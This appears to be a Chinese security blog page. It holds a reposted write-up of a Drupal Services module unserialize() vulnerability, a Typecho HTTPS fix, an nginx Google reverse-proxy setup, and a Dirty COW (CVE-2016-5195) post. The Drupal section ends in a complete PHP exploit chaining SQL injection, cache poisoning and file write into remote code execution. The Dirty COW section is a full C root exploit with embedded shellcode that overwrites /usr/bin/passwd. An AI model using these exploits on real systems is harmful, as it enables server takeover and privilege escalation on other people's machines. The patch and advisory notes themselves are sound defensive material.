1、《鸟哥的私房菜(服务器架设篇)》30%

2、《黑客与画家》完!

3、《史蒂夫·乔布斯传完!

4、《黑客大曝光:Web应用程序安全(原书第三版)》30%

More...

Upon auditing Drupal's Services module, the Ambionics team came accross an insecure use of unserialize(). The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution.

Services module

Services is a "standardized solution for building API's so that external clients can communicate with Drupal". Basically, it allows anybody to build SOAP, REST, or XMLRPC endpoints to send and fetch information in several output formats. It is currently the 150th most used plugin of Drupal, with around 45.000 active websites.

Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. For instance, you can enable the /user/login resource to login via JSON or XML.

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/json
Content-Length: 45
Connection: close

{"username": "admin", "password": "password"}

Reply:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw; expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"[email protected]","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"[email protected]","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

Vulnerability

One of the feature of the module is that one can control the input/output format by changing the Content-Type/Accept headers. By default, the following input formats are allowed:

· application/xml
· application/json
· multipart/form-data
· application/vnd.php.serialized

For anyone who haven't encountered the last one yet, it is the type given to PHP-serialized data. Let's try again:

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}

HTTP/1.1 200 OK

Date: Thu, 02 Mar 2017 14:29:54 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

X-Content-Type-Options: nosniff

Vary: Accept

Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly

Content-Length: 635

Connection: close

Content-Type: application/json

{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"[email protected]","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"[email protected]","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

So, we're indeed facing a trivial unserialize() vulnerability.

function rest_server_request_parsers() {
static $parsers = NULL;
if (!$parsers) {
$parsers = array(
'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
'application/json' => 'ServicesParserJSON',
'application/vnd.php.serialized' => 'ServicesParserPHP',
'multipart/form-data' => 'ServicesParserMultipart',
'application/xml' => 'ServicesParserXML',
'text/xml' => 'ServicesParserXML',
);
}
}

class ServicesParserPHP implements ServicesParserInterface {
public function parse(ServicesContextInterface $context) {
return unserialize($context->getRequestBody());
}
}What can we do with it ?

Exploitation

Sources and sinks

Even if Drupal lacks straightforward unserialize() gadgets, the numerous endpoints that are available in Services, combined with the ability to send serialized data, provides a lot of ways to exploit the vulnerability: user-submitted data can be used in SQL queries, echoed back in the result, etc. Our exploitation focuses on /user/login, since it was the most used endpoint amongst our clients. It is nonetheless possible to construct an RCE payload that works on any URL, as long as the PHP deserialization is activated.

SQL Injection

Evidently, the primary function of the /user/login endpoint is to allow people to authenticate. To do so, Services uses the usual Drupal internal API, which fetches an username from the database and then compares the password hash to the user-submitted password. This implies that the username we send will be used in an SQL query using Drupal's Database API. The call is very much like this:

$user = db_select('users', 'base') # Table: users Alias: base
->fields('base', array('uid', 'name', ...)) # Select every field
->condition('base.name', $username) # Match the username
->execute(); As usual with unserialize()-based bugs, the downfall of the framework comes from its own capabilities. Indeed, instead of submitting basic types like a string, like we would usually, the API offers the possibility to make subqueries by giving it an object which implements Drupal's SelectQueryInterface.

class DatabaseCondition implements QueryConditionInterface, Countable {

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {

if ($condition['value'] instanceof SelectQueryInterface) {
$condition['value']->compile($connection, $queryPlaceholder);
$placeholders[] = (string) $condition['value'];
$arguments += $condition['value']->arguments();
// Subqueries are the actual value of the operator, we don't
// need to add another below.
$operator['use_value'] = FALSE;
}
}
}The string representation of the object is used directly in the query, which might provoke an SQL injection.

Different conditions are required for $username:

· It must implement SelectQueryInterface

· It must implement compile()

· Its string representation must be controlled by us

The SelectQueryExtender, one of the only two objects implementing SelectQueryInterface, is meant to wrap around a standard SelectQuery object. Its $query attribute contains said object. When SelectQueryExtender's compile() and __toString() methods are called, the underlying object's methods are called instead.

class SelectQueryExtender implements SelectQueryInterface {

/**

* The SelectQuery object we are extending/decorating.

*

* @var SelectQueryInterface

*/

# Note: Although this expects a SelectQueryInterface, this is never enforced

protected $query;

public function __toString() {

return (string) $this->query;

}

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {

return $this->query->compile($connection, $queryPlaceholder);

}

}

We can use this class as a "proxy" for any other class: this allows us to pass the first condition.

The two last conditions are met by the DatabaseCondition object: for performance reasons, it has a stringVersion attribute which is meant to contain its string representation after it's been compiled.

class DatabaseCondition implements QueryConditionInterface, Countable {
protected $changed = TRUE;
protected $queryPlaceholderIdentifier;

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
// Re-compile if this condition changed or if we are compiled against a
// different query placeholder object.
if ($this->changed || isset($this->queryPlaceholderIdentifier) && ($this->queryPlaceholderIdentifier != $queryPlaceholder->uniqueIdentifier())) {
$this->changed = FALSE;
$this->stringVersion = implode($conjunction, $condition_fragments);
}
}

public function __toString() {
// If the caller forgot to call compile() first, refuse to run.
if ($this->changed) {
return NULL;
}
return $this->stringVersion;
}
}From this, an SQL Injection is possible. The most efficient way to exploit is by using UNION to fetch one of the administrators, and replacing her/his password hash by ours, so that the hash comparison which follows succeeds.

# Original Query

SELECT

..., base.name AS name, base.pass AS pass, base.mail AS mail, ...

FROM

{users}

WHERE

(name =

# Injection starts here

0x3a)

UNION SELECT

..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...

FROM

{users}

ORDER BY (uid

# Injection ends here

);

We can also store other database data in other fields, for instance put the admin's original hash in his signature.

1.jpg

We're now logged in as an administrator, and we can read anything from the database.

Remote Code Execution

Drupal has a cache table, which associates a key to serialized data. The Services module caches, for every endpoint, a list of resources, along with the parameters it expects, and the callback function associated to it. Evidently, modifying the cache would have an enormous impact, because we make the module call any PHP function, with any parameter. Fortunately, the DrupalCacheArray class allows us to do just that. The exploitation is pretty straightforward:

· Modify the behaviour of the /user/login resource to write a file anywhere on the server

· Hit /user/login to create the file

· Restore standard behaviour

In order not to break the endpoint during the attack, we use the SQL injection to fetch the original cache data, so that we only modify specific values. We use file_put_contents() and two parameters to write a file anywhere.

Correction

The Drupal security team took 40 minutes to review our report and propose a correct patch. The advisory along with a new version were published on 03/08/2017 (Services - Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029).

If you’re using a vulnerable version of this module, update as soon as possible. In the event where you cannot update, we strongly recommend to disable application/vnd.php.serialized in Drupal Services settings.

2.jpg

Exploit

The following exploit file combines the two exploitations in order to perform the Privilege Escalation, SQL injection and RCE altogether.

#!/usr/bin/php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => ''
];

$browser = new Browser($url . $endpoint_path);

# Stage 1: SQL Injection

class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;

if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));

# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");

# HTTP Browser

class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
{
$this->url = $url;
}

function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);

if($error)
{
e("cURL: $error");
}

return json_decode($output);
}
}

# Cache

function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}

function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
print("$message\n");
}

function e($message)
{
x($message);
exit(1);
}

function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}The exploitation is completely stealth. Nevertheless, one has to guess or find the endpoint URL, which mitigates the vulnerability a bit.

转 https://www.ambionics.io/blog/drupal-services-module-rce

由于博客被墙了,不知道是因为什么原因,又不想换域名,干脆整站上HTTPS吧。
我用的是CDN厂商CloudFlare 提供的免费证书。无需服务器部署直接在CDN后台设置页面规则即可,服务器只需在nginx配置里添加监听443端口:

listen 443

然而……typecho部署https后,出现不能加载http资源的问题

修改源码/var/Typecho/Common.php一个地方即可,加个替换
/**
* 将路径转化为链接
*
* @access public
* @param string $path 路径
* @param string $prefix 前缀
* @return string
*/
public static function url($path, $prefix)
{
$path = (0 === strpos($path, './')) ? substr($path, 2) : $path;
//return str_replace("http:","",rtrim($prefix, '/') . '/' . str_replace('//', '/', ltrim($path, '/'))); //原
return str_replace("http:","",rtrim($prefix, '/') . '/' . str_replace('//', '/', ltrim($path, '/'))); //修改后
}

这样,不论当前环境是http还是https都能很好的继承协议了,不再出现HTTPS由于安全问题不能加载http混合内容的问题。

2016年11月01日

反代Google

访问: 516 次 1 Comment, Linux笔记, by Secer

有时候没上代理方便查资料,直接开个谷歌反代服务吧,配置过程如下

安装nginx略

编辑nginx配置文件

vim /usr/local/nginx/conf/nginx.conf
在http部分加入以下内容

proxy_connect_timeout 5;
proxy_read_timeout 60;
proxy_send_timeout 5;
proxy_buffer_size 16k;
proxy_buffers 4 64k;
proxy_busy_buffers_size 128k;
proxy_temp_file_write_size 128k;
proxy_temp_path /tmp/cache/temp;
proxy_cache_path /tmp/cache/path levels=1:2 keys_zone=cache_one:5m inactive=7d max_size=1g;

保存然后编辑虚拟机配置文件

vim /usr/local/nginx/conf/vhost/g.yh.gs.conf
将server段替换为下面的内容

server
{
        listen 80;
        server_name google.cker.in;

        location / {
                proxy_redirect off; #http://www.google.com/ /;

                proxy_set_header HOST 'www.google.com';
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_cookie_domain google.com google.cker.in;
                proxy_pass https://74.125.23.139;
                proxy_set_header Accept-Encoding "";
                proxy_set_header User-Agent $http_user_agent;
                proxy_set_header Accept-Language "en-US";
                proxy_set_header Cookie "PREF=ID=047808f19f6de346:U=0f62f33dd8549d11:FF=2:LD=zh-CN:NW=1:TM=1325338577:LM=1332142444:GM=1:SG=2:S=rE0SyJh2W1IQ-Maw";
                sub_filter www.google.com google.cker.in;
                sub_filter_once off;
                auth_basic    "USER: cker PASS: cker";
                auth_basic_user_file    auth_google.cker.in;

        }
}

 

其中74.125.23.139是指google.com的ip,可以到网上找找,或在国外VPS上解析一下

dig google.com @8.8.8.8

; <<>> DiG 9.8.3-P1 <<>> google.com @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21253
;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com.            IN    A

;; ANSWER SECTION:
google.com.        299    IN    A    74.125.23.139
google.com.        299    IN    A    74.125.23.102
google.com.        299    IN    A    74.125.23.101
google.com.        299    IN    A    74.125.23.100
google.com.        299    IN    A    74.125.23.113
google.com.        299    IN    A    74.125.23.138

生成401认证密文

➜  ~ htpasswd -dmbc auth_google.cker.in cker cker
Adding password for user cker
➜  ~ cat cker             
cker:***********

 

保存后测试下配置文件是否有问题

/usr/local/nginx/sbin/nginx –t

如果出现下面的两句说明配置文件一切正常
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful

确认没有问题后平滑重启nginx

kill -HUP `cat /usr/local/nginx/logs/nginx.pid`

访问效果

image

image

 

CVE-2016-5195 dirty cow

影响范围:2007-2016 Linux kernel >= 2.6.22(2007年发行,到今年10月18日才修复)

测试debian/centos/ubuntu/ x86/x86_64可用,有一定几率失败

 

用法看说明

EXP:

/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd 
* [[email protected] foo]# whoami 
* root
* [[email protected] foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg) {
  int i,c=0;
  for(i=0;i<200000000;i++)
    c+=madvise(map,100,MADV_DONTNEED);
  printf("madvise %d\n\n",c);
}


int main(int argc,char *argv[]){

  printf("                                \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", suid_binary);
  char *backup;
  printf("DirtyCow root privilege escalation\n");
  printf("Backing up %s to /tmp/bak\n", suid_binary);
  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f=open(suid_binary,O_RDONLY);
  fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pid=fork();
  if(pid){
    waitpid(pid,NULL,0);
    int u,i,o,c=0,l=sc_len;
    for(i=0;i<10000/l;i++)
      for(o=0;o<l;o++)
        for(u=0;u<10000;u++)
          c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
    printf("ptrace %d\n\n",c);
   }
  else{
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(),SIGSTOP);
    pthread_join(pth,NULL);
    }
  return 0;
}

漏洞概述:

该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。不过安全专家Phil Oester称发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。

修复方法:

进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4 LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞。目前新版本已经登录各GNU/Linux发行版库,包括Arch Linux(测试中)、Solus和所有受支持版本的Ubuntu。Debian开发人员前天也宣布稳定版Debian GNU/Linux 8 “Jessei”系列内核重要更新——本次更新总共修复4个Linux内核安全漏洞,其中也包括了脏牛。

各操作系统供应商应该即刻下载Linux kernel 4.8.3、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,为用户提供稳定版渠道更新。